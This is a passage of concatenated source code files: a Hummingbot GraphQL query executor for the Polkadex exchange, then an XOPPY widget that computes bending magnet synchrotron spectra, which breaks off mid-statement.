all_markets(self):\n raise NotImplementedError # pragma: no cover\n\n @abstractmethod\n async def get_orderbook(self, market_symbol: str) -> Dict[str, Any]:\n raise NotImplementedError # pragma: no cover\n\n @abstractmethod\n async def main_account_from_proxy(self, proxy_account=str) -> str:\n raise NotImplementedError # pragma: no cover\n\n @abstractmethod\n async def recent_trades(self, market_symbol: str, limit: int) -> Dict[str, Any]:\n raise NotImplementedError # pragma: no cover\n\n @abstractmethod\n async def get_all_balances_by_main_account(self, main_account: str) -> Dict[str, Any]:\n raise NotImplementedError # pragma: no cover\n\n @abstractmethod\n async def place_order(self, polkadex_order: Dict[str, Any], signature: Dict[str, Any]) -> Dict[str, Any]:\n raise NotImplementedError # pragma: no cover\n\n @abstractmethod\n async def cancel_order(\n self,\n order_id: str,\n market_symbol: str,\n proxy_address: str,\n signature: Dict[str, Any],\n ) -> Dict[str, Any]:\n raise NotImplementedError # pragma: no cover\n\n @abstractmethod\n async def list_order_history_by_account(\n self, main_account: str, from_time: float, to_time: float\n ) -> Dict[str, Any]:\n raise NotImplementedError # pragma: no cover\n\n @abstractmethod\n async def find_order_by_main_account(self, main_account: str, market_symbol: str, order_id: str) -> Dict[str, Any]:\n raise NotImplementedError # pragma: no cover\n\n @abstractmethod\n async def listen_to_orderbook_updates(self, events_handler: Callable, market_symbol: str):\n raise NotImplementedError # pragma: no cover\n\n @abstractmethod\n async def listen_to_public_trades(self, events_handler: Callable, market_symbol: str):\n raise NotImplementedError # pragma: no cover\n\n @abstractmethod\n async def listen_to_private_events(self, events_handler: Callable, address: str):\n raise NotImplementedError # pragma: no cover\n\n\nclass GrapQLQueryExecutor(BaseQueryExecutor):\n _logger: Optional[HummingbotLogger] = None\n\n @classmethod\n def logger(cls) -> HummingbotLogger:\n if cls._logger is None:\n cls._logger = logging.getLogger(HummingbotLogger.logger_name_for_class(cls))\n return cls._logger\n\n def __init__(self, auth: AppSyncAuthentication, domain: Optional[str] = CONSTANTS.DEFAULT_DOMAIN):\n super().__init__()\n self._auth = auth\n self._domain = domain\n\n async def all_assets(self):\n query = gql(\n \"\"\"\n query MyQuery {\n getAllAssets {\n items {\n asset_id\n name\n }\n }\n }\n \"\"\"\n )\n\n parameters = {}\n result = await self._execute_query(query=query, parameters=parameters)\n return result\n\n async def all_markets(self):\n query = gql(\n \"\"\"\n query MyQuery {\n getAllMarkets {\n items {\n base_asset_precision\n market\n max_order_price\n max_order_qty\n min_order_price\n min_order_qty\n price_tick_size\n qty_step_size\n quote_asset_precision\n }\n }\n }\n \"\"\"\n )\n\n parameters = {}\n result = await self._execute_query(query=query, parameters=parameters)\n return result\n\n async def get_orderbook(self, market_symbol: str) -> Dict[str, Any]:\n query = gql(\n \"\"\"\n query getOrderbook($market: String!, $limit: Int, $nextToken: String) {\n getOrderbook(market: $market, limit: $limit, nextToken: $nextToken) {\n nextToken\n items {\n p\n q\n s\n }\n }\n }\n \"\"\"\n )\n\n parameters = {\"market\": market_symbol}\n\n result = await self._execute_query(query=query, parameters=parameters)\n return result\n\n async def main_account_from_proxy(self, proxy_account=str) -> str:\n query = gql(\n \"\"\"\n query findUserByProxyAccount($proxy_account: String!) {\n findUserByProxyAccount(proxy_account: $proxy_account) {\n items\n }\n }\n \"\"\"\n )\n\n parameters = {\"proxy_account\": proxy_account}\n\n result = await self._execute_query(query=query, parameters=parameters)\n main_account = result[\"findUserByProxyAccount\"][\"items\"][0].split(\",\")[2][11:-1]\n return main_account\n\n async def recent_trades(self, market_symbol: str, limit: int) -> Dict[str, Any]:\n query = gql(\n \"\"\"\n query getRecentTrades($market: String!, $limit: Int, $nextToken: String) {\n getRecentTrades(m: $market, limit: $limit, nextToken: $nextToken) {\n items {\n isReverted\n m\n p\n q\n t\n sid\n }\n }\n }\n \"\"\"\n )\n\n parameters = {\"market\": market_symbol, \"limit\": limit}\n\n result = await self._execute_query(query=query, parameters=parameters)\n return result\n\n async def get_all_balances_by_main_account(self, main_account: str) -> Dict[str, Any]:\n query = gql(\n \"\"\"\n query getAllBalancesByMainAccount($main: String!) {\n getAllBalancesByMainAccount(main_account: $main) {\n items {\n a\n f\n r\n }\n }\n }\n \"\"\"\n )\n\n parameters = {\"main\": main_account}\n\n result = await self._execute_query(query=query, parameters=parameters)\n return result\n\n async def place_order(self, polkadex_order: Dict[str, Any], signature: Dict[str, Any]) -> Dict[str, Any]:\n query = gql(\n \"\"\"\n mutation PlaceOrder($input: UserActionInput!) {\n place_order(input: $input)\n }\n \"\"\"\n )\n\n input_parameters = [\n polkadex_order,\n signature,\n ]\n parameters = {\"input\": {\"payload\": json.dumps({\"PlaceOrder\": input_parameters})}}\n\n result = await self._execute_query(query=query, parameters=parameters)\n return result\n\n async def cancel_order(\n self,\n order_id: str,\n market_symbol: str,\n proxy_address: str,\n signature: Dict[str, Any],\n ) -> Dict[str, Any]:\n query = gql(\n \"\"\"\n mutation CancelOrder($input: UserActionInput!) {\n cancel_order(input: $input)\n }\n \"\"\"\n )\n\n input_parameters = [\n order_id,\n proxy_address,\n market_symbol,\n signature,\n ]\n parameters = {\"input\": {\"payload\": json.dumps({\"CancelOrder\": input_parameters})}}\n\n result = await self._execute_query(query=query, parameters=parameters)\n return result\n\n async def list_order_history_by_account(\n self, main_account: str, from_time: float, to_time: float\n ) -> Dict[str, Any]:\n query = gql(\n \"\"\"\n query ListOrderHistory($main_account: String!, $to: AWSDateTime!, $from: AWSDateTime!) {\n listOrderHistorybyMainAccount(main_account: $main_account, to: $to, from: $from) {\n items {\n afp\n cid\n fee\n fq\n id\n isReverted\n m\n ot\n p\n q\n s\n sid\n st\n t\n u\n }\n }\n }\n \"\"\"\n )\n\n parameters = {\n \"main_account\": main_account,\n \"to\": datetime.utcfromtimestamp(to_time).isoformat(timespec=\"milliseconds\") + \"Z\",\n \"from\": datetime.utcfromtimestamp(from_time).isoformat(timespec=\"milliseconds\") + \"Z\",\n }\n\n result = await self._execute_query(query=query, parameters=parameters)\n return result\n\n async def find_order_by_main_account(self, main_account: str, market_symbol: str, order_id: str) -> Dict[str, Any]:\n query = gql(\n \"\"\"\n query FindOrder($main_account: String!, $market: String!, $order_id: String!) {\n findOrderByMainAccount(main_account: $main_account, market: $market, order_id: $order_id) {\n afp\n cid\n fee\n fq\n id\n isReverted\n m\n ot\n p\n q\n s\n sid\n st\n t\n u\n }\n }\n \"\"\"\n )\n\n parameters = {\n \"main_account\": main_account,\n \"market\": market_symbol,\n \"order_id\": order_id,\n }\n\n result = await self._execute_query(query=query, parameters=parameters)\n return result\n\n async def listen_to_orderbook_updates(self, events_handler: Callable, market_symbol: str):\n while True:\n try:\n stream_name = f\"{market_symbol}-{CONSTANTS.ORDERBOOK_UPDATES_STREAM_NAME}\"\n async for event in self._subscribe_to_stream(stream_name=stream_name):\n events_handler(event=event, market_symbol=market_symbol)\n except asyncio.CancelledError:\n raise\n except Exception:\n self.logger().error(\"Unexpected error listening to order book updates from Polkadex\", exc_info=True)\n\n async def listen_to_public_trades(self, events_handler: Callable, market_symbol: str):\n while True:\n try:\n stream_name = f\"{market_symbol}-{CONSTANTS.RECENT_TRADES_STREAM_NAME}\"\n async for event in self._subscribe_to_stream(stream_name=stream_name):\n events_handler(event=event)\n except asyncio.CancelledError:\n raise\n except Exception:\n self.logger().error(\"Unexpected error listening to public trades from Polkadex\", exc_info=True)\n\n async def listen_to_private_events(self, events_handler: Callable, address: str):\n while True:\n try:\n async for event in self._subscribe_to_stream(stream_name=address):\n events_handler(event=event)\n except asyncio.CancelledError:\n raise\n except Exception:\n self.logger().error(\"Unexpected error listening to private updates from Polkadex\", exc_info=True)\n\n async def _execute_query(\n self,\n query: DocumentNode,\n parameters: Optional[Dict[str, Any]] = None,\n ):\n # Extract host from url\n url = CONSTANTS.GRAPHQL_ENDPOINTS[self._domain]\n\n transport = AIOHTTPTransport(url=url, auth=self._auth)\n async with Client(transport=transport, fetch_schema_from_transport=False) as session:\n result = await session.execute(query, variable_values=parameters, parse_result=True)\n\n return result\n\n async def _subscribe_to_stream(self, stream_name: str) -> AsyncIterable:\n query = gql(\n \"\"\"\n subscription WebsocketStreamsMessage($name: String!) {\n websocket_streams(name: $name) {\n data\n }\n }\n \"\"\"\n )\n variables = {\"name\": stream_name}\n\n url = CONSTANTS.GRAPHQL_ENDPOINTS[self._domain]\n transport = AppSyncWebsocketsTransport(url=url, auth=self._auth)\n\n async with Client(transport=transport, fetch_schema_from_transport=False) as session:\n async for result in session.subscribe(query, variable_values=variables, parse_result=True):\n yield result\n","sub_path":"hummingbot/connector/exchange/polkadex/polkadex_query_executor.py","file_name":"polkadex_query_executor.py","file_ext":"py","file_size_in_byte":13267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"434573564","text":"import sys\nimport numpy\nfrom PyQt4.QtGui import QIntValidator, QDoubleValidator, QApplication\n\nfrom orangewidget import gui\nfrom oasys.widgets import gui as oasysgui, congruence\nfrom orangewidget.settings import Setting\nfrom srxraylib.sources import srfunc\nfrom orangecontrib.xoppy.widgets.gui.ow_xoppy_widget import XoppyWidget\nfrom oasys.widgets.exchange import DataExchangeObject\n\n# TODO show flux(psi) and 2D plot\n\nclass OWbm(XoppyWidget):\n name = \"BM\"\n id = \"orange.widgets.databm\"\n description = \"Bending Magnet Spectrum\"\n icon = \"icons/xoppy_bm.png\"\n priority = 13\n category = \"\"\n keywords = [\"xoppy\", \"bm\"]\n\n TYPE_CALC = Setting(0)\n MACHINE_NAME = Setting(\"ESRF bending magnet\")\n RB_CHOICE = Setting(0)\n MACHINE_R_M = Setting(25.0)\n BFIELD_T = Setting(0.8)\n BEAM_ENERGY_GEV = Setting(6.0)\n CURRENT_A = Setting(0.2)\n HOR_DIV_MRAD = Setting(1.0)\n VER_DIV = Setting(0)\n PHOT_ENERGY_MIN = Setting(100.0)\n PHOT_ENERGY_MAX = Setting(100000.0)\n NPOINTS = Setting(500)\n LOG_CHOICE = Setting(1)\n PSI_MRAD_PLOT = Setting(1.0)\n PSI_MIN = Setting(-1.0)\n PSI_MAX = Setting(1.0)\n PSI_NPOINTS = Setting(500)\n FILE_DUMP = Setting(0)\n\n def build_gui(self):\n\n box = oasysgui.widgetBox(self.controlArea, self.name + \" Input Parameters\", orientation=\"vertical\", width=self.CONTROL_AREA_WIDTH-5)\n\n idx = -1 \n \n #widget index 0 \n idx += 1 \n box1 = gui.widgetBox(box) \n gui.comboBox(box1, self, \"TYPE_CALC\",\n label=self.unitLabels()[idx], addSpace=False,\n items=['Energy or Power spectra', 'Angular distribution (all wavelengths)', 'Angular distribution (one wavelength)', '2D flux and power (angular,energy) distribution'],\n valueType=int, orientation=\"horizontal\", callback=self.set_TYPE_CALC)\n self.show_at(self.unitFlags()[idx], box1) \n \n #widget index 1 \n idx += 1 \n box1 = gui.widgetBox(box) \n oasysgui.lineEdit(box1, self, \"MACHINE_NAME\",\n label=self.unitLabels()[idx], addSpace=False, orientation=\"horizontal\")\n self.show_at(self.unitFlags()[idx], box1) \n \n #widget index 2 \n idx += 1 \n box1 = gui.widgetBox(box) \n gui.comboBox(box1, self, \"RB_CHOICE\",\n label=self.unitLabels()[idx], addSpace=False,\n items=['Magnetic Radius', 'Magnetic Field'],\n valueType=int, orientation=\"horizontal\", labelWidth=250)\n self.show_at(self.unitFlags()[idx], box1) \n \n #widget index 3 \n idx += 1 \n box1 = gui.widgetBox(box) \n oasysgui.lineEdit(box1, self, \"MACHINE_R_M\",\n label=self.unitLabels()[idx], addSpace=False,\n valueType=float, validator=QDoubleValidator(), orientation=\"horizontal\", labelWidth=250)\n self.show_at(self.unitFlags()[idx], box1) \n \n #widget index 4 \n idx += 1 \n box1 = gui.widgetBox(box) \n oasysgui.lineEdit(box1, self, \"BFIELD_T\",\n label=self.unitLabels()[idx], addSpace=False,\n valueType=float, validator=QDoubleValidator(), orientation=\"horizontal\", labelWidth=250)\n self.show_at(self.unitFlags()[idx], box1) \n \n #widget index 5 \n idx += 1 \n box1 = gui.widgetBox(box) \n oasysgui.lineEdit(box1, self, \"BEAM_ENERGY_GEV\",\n label=self.unitLabels()[idx], addSpace=False,\n valueType=float, validator=QDoubleValidator(), orientation=\"horizontal\", labelWidth=250)\n self.show_at(self.unitFlags()[idx], box1) \n \n #widget index 6 \n idx += 1 \n box1 = gui.widgetBox(box) \n oasysgui.lineEdit(box1, self, \"CURRENT_A\",\n label=self.unitLabels()[idx], addSpace=False,\n valueType=float, validator=QDoubleValidator(), orientation=\"horizontal\", labelWidth=250)\n self.show_at(self.unitFlags()[idx], box1) \n \n #widget index 7 \n idx += 1 \n box1 = gui.widgetBox(box) \n oasysgui.lineEdit(box1, self, \"HOR_DIV_MRAD\",\n label=self.unitLabels()[idx], addSpace=False,\n valueType=float, validator=QDoubleValidator(), orientation=\"horizontal\", labelWidth=250)\n self.show_at(self.unitFlags()[idx], box1) \n \n #widget index 8 \n idx += 1 \n box1 = gui.widgetBox(box) \n gui.comboBox(box1, self, \"VER_DIV\",\n label=self.unitLabels()[idx], addSpace=False,\n items=['Full (integrated in Psi)', 'At Psi=0', 'In [PsiMin,PsiMax]', 'At Psi=Psi_Min'],\n valueType=int, orientation=\"horizontal\", callback=self.set_VER_DIV, labelWidth=250)\n self.show_at(self.unitFlags()[idx], box1) \n \n #widget index 9 \n idx += 1 \n box1 = gui.widgetBox(box) \n oasysgui.lineEdit(box1, self, \"PHOT_ENERGY_MIN\",\n label=self.unitLabels()[idx], addSpace=False,\n valueType=float, validator=QDoubleValidator(), orientation=\"horizontal\", labelWidth=250)\n self.show_at(self.unitFlags()[idx], box1) \n \n #widget index 10 \n idx += 1 \n box1 = gui.widgetBox(box) \n oasysgui.lineEdit(box1, self, \"PHOT_ENERGY_MAX\",\n label=self.unitLabels()[idx], addSpace=False,\n valueType=float, validator=QDoubleValidator(), orientation=\"horizontal\", labelWidth=250)\n self.show_at(self.unitFlags()[idx], box1) \n \n #widget index 11 \n idx += 1 \n box1 = gui.widgetBox(box) \n oasysgui.lineEdit(box1, self, \"NPOINTS\",\n label=self.unitLabels()[idx], addSpace=False,\n valueType=int, validator=QIntValidator(), orientation=\"horizontal\", labelWidth=250)\n self.show_at(self.unitFlags()[idx], box1) \n \n #widget index 12 \n idx += 1 \n box1 = gui.widgetBox(box) \n gui.comboBox(box1, self, \"LOG_CHOICE\",\n label=self.unitLabels()[idx], addSpace=False,\n items=['Lin', 'Log'],\n valueType=int, orientation=\"horizontal\", labelWidth=350)\n self.show_at(self.unitFlags()[idx], box1) \n \n #widget index 13 \n idx += 1 \n box1 = gui.widgetBox(box) \n oasysgui.lineEdit(box1, self, \"PSI_MRAD_PLOT\",\n label=self.unitLabels()[idx], addSpace=False,\n valueType=float, validator=QDoubleValidator(), orientation=\"horizontal\", labelWidth=250)\n self.show_at(self.unitFlags()[idx], box1) \n \n #widget index 14 \n idx += 1 \n box1 = gui.widgetBox(box) \n oasysgui.lineEdit(box1, self, \"PSI_MIN\",\n label=self.unitLabels()[idx], addSpace=False,\n valueType=float, validator=QDoubleValidator(), orientation=\"horizontal\", labelWidth=250)\n self.show_at(self.unitFlags()[idx], box1) \n \n #widget index 15 \n idx += 1 \n box1 = gui.widgetBox(box) \n oasysgui.lineEdit(box1, self, \"PSI_MAX\",\n label=self.unitLabels()[idx], addSpace=False,\n valueType=float, validator=QDoubleValidator(), orientation=\"horizontal\", labelWidth=250)\n self.show_at(self.unitFlags()[idx], box1) \n \n #widget index 16 \n idx += 1 \n box1 = gui.widgetBox(box) \n oasysgui.lineEdit(box1, self, \"PSI_NPOINTS\",\n label=self.unitLabels()[idx], addSpace=False,\n valueType=int, validator=QIntValidator(), orientation=\"horizontal\", labelWidth=250)\n self.show_at(self.unitFlags()[idx], box1) \n\n #widget index 17\n idx += 1\n box1 = gui.widgetBox(box)\n gui.comboBox(box1, self, \"FILE_DUMP\",\n label=self.unitLabels()[idx], addSpace=False,\n items=['No', 'YES (bm.spec)'],\n valueType=int, orientation=\"horizontal\", labelWidth=250)\n self.show_at(self.unitFlags()[idx], box1)\n\n def unitLabels(self):\n return ['Type of calculation','Machine name','B from:','Machine Radius [m]','Magnetic Field [T]','Beam energy [GeV]','Beam Current [A]','Horizontal div Theta [mrad]','Psi (vertical div) for energy spectra','Min Photon Energy [eV]','Max Photon Energy [eV]','Number of energy points','Separation between energy points','Max Psi[mrad] for angular plots','Psi min [mrad]','Psi max [mrad]','Number of Psi points','Dump file']\n\n def unitFlags(self):\n return ['True','True','True','self.RB_CHOICE == 0','self.RB_CHOICE == 1','True','True','True','True','True','True','True','True','True','self.VER_DIV >= 2','self.VER_DIV == 2','self.VER_DIV == 2','True']\n\n def set_TYPE_CALC(self):\n\n self.initializeTabs()\n if self.TYPE_CALC == 3:\n self.VER_DIV = 2\n\n\n def set_VER_DIV(self):\n if self.TYPE_CALC == 0: self.initializeTabs()\n\n\n def get_help_name(self):\n return 'bm'\n\n def check_fields(self):\n if self.RB_CHOICE == 0:\n self.MACHINE_R_M = congruence.checkStrictlyPositiveNumber(self.MACHINE_R_M, \"Magnetic Radius\")\n else:\n self.BFIELD_T = congruence.checkStrictlyPositiveNumber(self.BFIELD_T, \"Magnetic Field\")\n\n self.BEAM_ENERGY_GEV = congruence.checkStrictlyPositiveNumber(self.BEAM_ENERGY_GEV, \"Beam Energy\")\n self.CURRENT_A = congruence.checkStrictlyPositiveNumber(self.CURRENT_A, \"Beam Current\")\n self.HOR_DIV_MRAD = congruence.checkPositiveNumber(self.HOR_DIV_MRAD, \"Horizontal div Theta\")\n\n self.PHOT_ENERGY_MIN = congruence.checkPositiveNumber(self.PHOT_ENERGY_MIN, \"Min Photon Energy\")\n self.PHOT_ENERGY_MAX = congruence.checkStrictlyPositiveNumber(self.PHOT_ENERGY_MAX, \"Max Photon Energy\")\n congruence.checkLessThan(self.PHOT_ENERGY_MIN, self.PHOT_ENERGY_MAX, \"Min Photon Energy\", \"Max Photon Energy\")\n self.NPOINTS = congruence.checkStrictlyPositiveNumber(self.NPOINTS, \"Number of Energy Points\")\n\n self.PSI_MRAD_PLOT = congruence.checkNumber(self.PSI_MRAD_PLOT, \"Max Psi for angular plots\")\n\n if self.VER_DIV == 2:\n self.PSI_MIN = congruence.checkNumber(self.PSI_MIN, \"Min Photon Energy\")\n self.PSI_MAX = congruence.checkNumber(self.PSI_MAX, \"Max Photon Max\")\n congruence.checkLessThan(self.PSI_MIN, self.PSI_MAX, \"Psi Min\", \"Psi Max\")\n elif self.VER_DIV == 3:\n self.PSI_MIN = congruence.checkNumber(self.PSI_MIN, \"Min Photon Energy\")\n\n def plot_results(self, calculated_data, progressBarValue=80):\n if self.TYPE_CALC != 3: super().plot_results(calculated_data, progressBarValue)\n elif not self.view_type == 0:\n if not calculated_data is None:\n self.view_type_combo.setEnabled(False)\n\n data = calculated_data.get_content(\"xoppy_data_3D\")\n\n fm = data[0]\n a = data[1]\n energy_ev = data[2]\n\n try:\n self.plot_data2D(fm,\n a,\n energy_ev,\n 0, 0,\n xtitle=\"Angle [mrad]\",\n ytitle=\"Photon energy [eV]\",\n title=\"Flux [photons/s/0.1%bw/mrad]\")\n\n self.plot_data2D(fm*srfunc.codata_ec*1e3,\n a,\n energy_ev,\n 1, 1,\n xtitle=\"Angle [mrad]\",\n ytitle=\"Photon energy [eV]\",\n title=\"Spectral power [W/eV/mrad]\")\n\n self.tabs.setCurrentIndex(1)\n except Exception as e:\n self.view_type_combo.setEnabled(True)\n\n raise Exception(\"Data not plottable: bad content\\n\" + str(e))\n\n self.view_type_combo.setEnabled(True)\n else:\n raise Exception(\"Empty Data\")\n\n def do_xoppy_calculation(self):\n return xoppy_calc_bm(TYPE_CALC=self.TYPE_CALC,\n MACHINE_NAME=self.MACHINE_NAME,\n RB_CHOICE=self.RB_CHOICE,\n MACHINE_R_M=self.MACHINE_R_M,\n BFIELD_T=self.BFIELD_T,\n BEAM_ENERGY_GEV=self.BEAM_ENERGY_GEV,\n CURRENT_A=self.CURRENT_A,\n HOR_DIV_MRAD=self.HOR_DIV_MRAD,\n VER_DIV=self.VER_DIV,\n PHOT_ENERGY_MIN=self.PHOT_ENERGY_MIN,\n PHOT_ENERGY_MAX=self.PHOT_ENERGY_MAX,\n NPOINTS=self.NPOINTS,\n LOG_CHOICE=self.LOG_CHOICE,\n PSI_MRAD_PLOT=self.PSI_MRAD_PLOT,\n PSI_MIN=self.PSI_MIN,\n PSI_MAX=self.PSI_MAX,\n PSI_NPOINTS=self.PSI_NPOINTS,\n FILE_DUMP=self.FILE_DUMP)\n\n def add_specific_content_to_calculated_data(self, calculated_data):\n calculated_data.add_content(\"is_log_plot\", self.LOG_CHOICE)\n calculated_data.add_content(\"calculation_type\", self.TYPE_CALC)\n calculated_data.add_content(\"psi\", self.VER_DIV)\n\n def get_data_exchange_widget_name(self):\n return \"BM\"\n\n def extract_data_from_xoppy_output(self, calculation_output):\n data, fm, a, energy_ev = calculation_output\n \n calculated_data = DataExchangeObject(\"XOPPY\", self.get_data_exchange_widget_name())\n calculated_data.add_content(\"xoppy_data\", data)\n calculated_data.add_content(\"xoppy_data_3D\", [fm, a, energy_ev])\n\n return calculated_data\n\n def getTitles(self):\n if self.TYPE_CALC == 0:\n return ['E/Ec', 'Flux s-pol/Flux total', 'Flux p-pol/Flux total', 'Flux', 'Spectral Power']\n elif self.TYPE_CALC == 1:\n return [\"Psi[rad]*Gamma\", \"F\", \"F s-pol\", \"F p-pol\", \"Spectral Power\"]\n elif self.TYPE_CALC == 2:\n return [\"Psi[rad]*Gamma\", \"F\", \"F s-pol\", \"F p-pol\", \"Flux\", \"Spectral Power\"]\n elif self.TYPE_CALC == 3:\n return [\"2D Flux (angle,energy)\", \"2D Spectral Power (angle,energy)\"]\n\n def getXTitles(self):\n if self.TYPE_CALC == 0:\n return [\"Energy [eV]\", \"Energy [eV]\", \"Energy [eV]\", \"Energy [eV]\", \"Energy [eV]\"]\n elif self.TYPE_CALC == 1:\n return [\"Psi [mrad]\", \"Psi [mrad]\", \"Psi [mrad]\", \"Psi [mrad]\", \"Psi [mrad]\"]\n elif self.TYPE_CALC == 2:\n return [\"Psi [mrad]\", \"Psi [mrad]\", \"Psi [mrad]\", \"Psi [mrad]\", \"Psi [mrad]\", \"Psi [mrad]\"]\n elif self.TYPE_CALC == 3:\n return []\n\n def getYTitles(self):\n if self.TYPE_CALC == 0:\n if self.VER_DIV == 0:\n return ['E/Ec', 'Flux_spol/Flux_total', 'Flux_ppol/Flux_total', 'Flux [Phot/sec/0.1%bw]', 'Power [Watts/eV]']\n elif self.VER_DIV == 1:\n return ['E/Ec', 'Flux_spol/Flux_total', 'Flux_ppol/Flux_total', 'Flux [Phot/sec/0.1%bw/mrad(Psi)]', 'Power[Watts/eV/mrad(Psi)]']\n elif self.VER_DIV == 2:\n return ['E/Ec', 'Flux_spol/Flux_total', 'Flux_ppol/Flux_total', 'Flux [Phot/sec/0.1%bw]', 'Power [Watts/eV]']\n elif self.VER_DIV == 3:\n return ['E/Ec', 'Flux_spol/Flux_total', 'Flux_ppol/Flux_total', 'Flux [Phot/sec/0.1%bw/mrad(Psi)]', 'Power [Watts/eV/mrad(Psi)]']\n elif self.TYPE_CALC == 1:\n return [\"Psi[rad]*Gamma\", \"F\", \"F s-pol\", \"F p-pol\", \"Power [Watts/mrad(Psi)]\"]\n elif self.TYPE_CALC == 2:\n return [\"Psi[rad]*Gamma\", \"F\", \"F s-pol\", \"F p-pol\", \"Flux [Phot/sec/0.1%bw/mrad(Psi)]\", \"Power [Watts/mrad(Psi)]\"]\n elif self.TYPE_CALC == 3:\n return []\n\n def getVariablesToPlot(self):\n if self.TYPE_CALC == 0:\n return [(0, 2), (0, 3), (0, 4), (0, 5), (0, 6)]\n elif self.TYPE_CALC == 1:\n return [(0, 1), (0, 2), (0, 3), (0, 4), (0, 5)]\n elif self.TYPE_CALC == 2:\n return [(0, 1), (0, 2), (0, 3), (0, 4), (0, 5), (0, 6)]\n elif self.TYPE_CALC == 3:\n return []\n\n def getLogPlot(self):\n if self.TYPE_CALC == 0:\n return [(True, False), (True, False), (True, False), (True, True), (True, True)]\n elif self.TYPE_CALC == 1:\n return [(False, False), (False, False), (False, False), (False, False), (False, False)]\n elif self.TYPE_CALC == 2:\n return [(False, False), (False, False), (False, False), (False, False), (False, False), (False, False)]\n elif self.TYPE_CALC == 3:\n return []\n\n# --------------------------------------------------------------------------------------------\n# --------------------------------------------------------------------------------------------\n\n\ndef xoppy_calc_bm(MACHINE_NAME=\"ESRF bending magnet\",RB_CHOICE=0,MACHINE_R_M=25.0,BFIELD_T=0.8,\\\n BEAM_ENERGY_GEV=6.04,CURRENT_A=0.1,HOR_DIV_MRAD=1.0,VER_DIV=0,\\\n PHOT_ENERGY_MIN=100.0,PHOT_ENERGY_MAX=100000.0,NPOINTS=500,LOG_CHOICE=1,\\\n PSI_MRAD_PLOT=1.0,PSI_MIN=-1.0,PSI_MAX=1.0,PSI_NPOINTS=500,TYPE_CALC=0,FILE_DUMP=0):\n print(\"Inside xoppy_calc_bm. \")\n\n # electron energy in GeV\n gamma = BEAM_ENERGY_GEV*1e3 / srfunc.codata_mee\n\n r_m = MACHINE_R_M # magnetic radius in m\n if RB_CHOICE == 1:\n r_m = srfunc.codata_me * srfunc.codata_c / srfunc.codata_ec / BFIELD_T * numpy.sqrt(gamma * gamma - 1)\n\n # calculate critical energy in eV\n ec_m = 4.0*numpy.pi*r_m/3.0/numpy.power(gamma,3) # wavelength in m\n ec_ev = srfunc.m2ev / ec_m\n\n fm = None\n a = None\n energy_ev = None\n\n if TYPE_CALC == 0:\n if LOG_CHOICE == 0:\n energy_ev = numpy.linspace(PHOT_ENERGY_MIN,PHOT_ENERGY_MAX,NPOINTS) # photon energy grid\n else:\n energy_ev = numpy.logspace(numpy.log10(PHOT_ENERGY_MIN),numpy.log10(PHOT_ENERGY_MAX),NPOINTS) # photon energy grid\n\n a5 = srfunc.sync_ene(VER_DIV, energy_ev, ec_ev=ec_ev, polarization=0, \\\n e_gev=BEAM_ENERGY_GEV, i_a=CURRENT_A, hdiv_mrad=HOR_DIV_MRAD, \\\n psi_min=PSI_MIN, psi_max=PSI_MAX, psi_npoints=PSI_NPOINTS)\n\n a5par = srfunc.sync_ene(VER_DIV, energy_ev, ec_ev=ec_ev, polarization=1, \\\n e_gev=BEAM_ENERGY_GEV, i_a=CURRENT_A, hdiv_mrad=HOR_DIV_MRAD, \\\n psi_min=PSI_MIN, psi_max=PSI_MAX, psi_npoints=PSI_NPOINTS)\n\n a5per = srfunc.sync_ene(VER_DIV, energy_ev, ec_ev=ec_ev, polarization=2, \\\n e_gev=BEAM_ENERGY_GEV, i_a=CURRENT_A, hdiv_mrad=HOR_DIV_MRAD, \\\n psi_min=PSI_MIN, psi_max=PSI_MAX, psi_npoints=PSI_NPOINTS)\n\n if VER_DIV == 0:\n coltitles=['Photon Energy [eV]','Photon Wavelength [A]','E/Ec','Flux_spol/Flux_total','Flux_ppol/Flux_total','Flux[Phot/sec/0.1%bw]','Power[Watts/eV]']\n title='integrated in Psi,'\n if VER_DIV == 1:\n coltitles=['Photon Energy [eV]','Photon Wavelength [A]','E/Ec','Flux_spol/Flux_total','Flux_ppol/Flux_total','Flux[Phot/sec/0.1%bw/mrad(Psi)]','Power[Watts/eV/mrad(Psi)]']\n title='at Psi=0,'\n if VER_DIV == 2:\n coltitles=['Photon Energy [eV]','Photon Wavelength [A]','E/Ec','Flux_spol/Flux_total','Flux_ppol/Flux_total','Flux[Phot/sec/0.1%bw]','Power[Watts/eV]']\n title='in Psi=[%e,%e]'%(PSI_MIN,PSI_MAX)\n if VER_DIV == 3:\n coltitles=['Photon Energy [eV]','Photon Wavelength [A]','E/Ec','Flux_spol/Flux_total','Flux_ppol/Flux_total','Flux[Phot/sec/0.1%bw/mrad(Psi)]','Power[Watts/eV/mrad(Psi)]']\n title='at Psi=%e mrad'%(PSI_MIN)\n\n a6=numpy.zeros((7,len(energy_ev)))\n a1 = energy_ev\n a6[0,:] = (a1)\n a6[1,:] = srfunc.m2ev * 1e10 / (a1)\n a6[2,:] = (a1)/ec_ev # E/Ec\n a6[3,:] = numpy.array(a5par)/numpy.array(a5)\n a6[4,:] = numpy.array(a5per)/numpy.array(a5)\n a6[5,:] = numpy.array(a5)\n a6[6,:] = numpy.array(a5)*1e3 * srfunc.codata_ec\n\n if TYPE_CALC == 1: # angular distributions over over all energies\n angle_mrad = numpy.linspace(-PSI_MRAD_PLOT, +PSI_MRAD_PLOT,NPOINTS) # angle grid\n\n a6 = numpy.zeros((6,NPOINTS))\n a6[0,:] = angle_mrad # angle in mrad\n a6[1,:] = angle_mrad*gamma/1e3 # Psi[rad]*Gamma\n a6[2,:] = srfunc.sync_f(angle_mrad * gamma / 1e3)\n a6[3,:] = srfunc.sync_f(angle_mrad * gamma / 1e3, polarization=1)\n a6[4,:] = srfunc.sync_f(angle_mrad * gamma / 1e3, polarization=2)\n a6[5,:] = srfunc.sync_ang(0, angle_mrad, i_a=CURRENT_A, hdiv_mrad=HOR_DIV_MRAD, e_gev=BEAM_ENERGY_GEV, r_m=r_m)\n\n coltitles=['Psi[mrad]','Psi[rad]*Gamma','F','F s-pol','F p-pol','Power[Watts/mrad(Psi)]']\n\n if TYPE_CALC == 2: # angular distributions at a single energy\n angle_mrad = numpy.linspace(-PSI_MRAD_PLOT, +PSI_MRAD_PLOT,NPOINTS) # angle grid\n\n a6 = numpy.zeros((7,NPOINTS))\n a6[0,:] = angle_mrad # angle in mrad\n a6[1,:] = angle_mrad*gamma/1e3 # Psi[rad]*Gamma\n a6[2,:] = srfunc.sync_f(angle_mrad * gamma / 1e3)\n a6[3,:] = 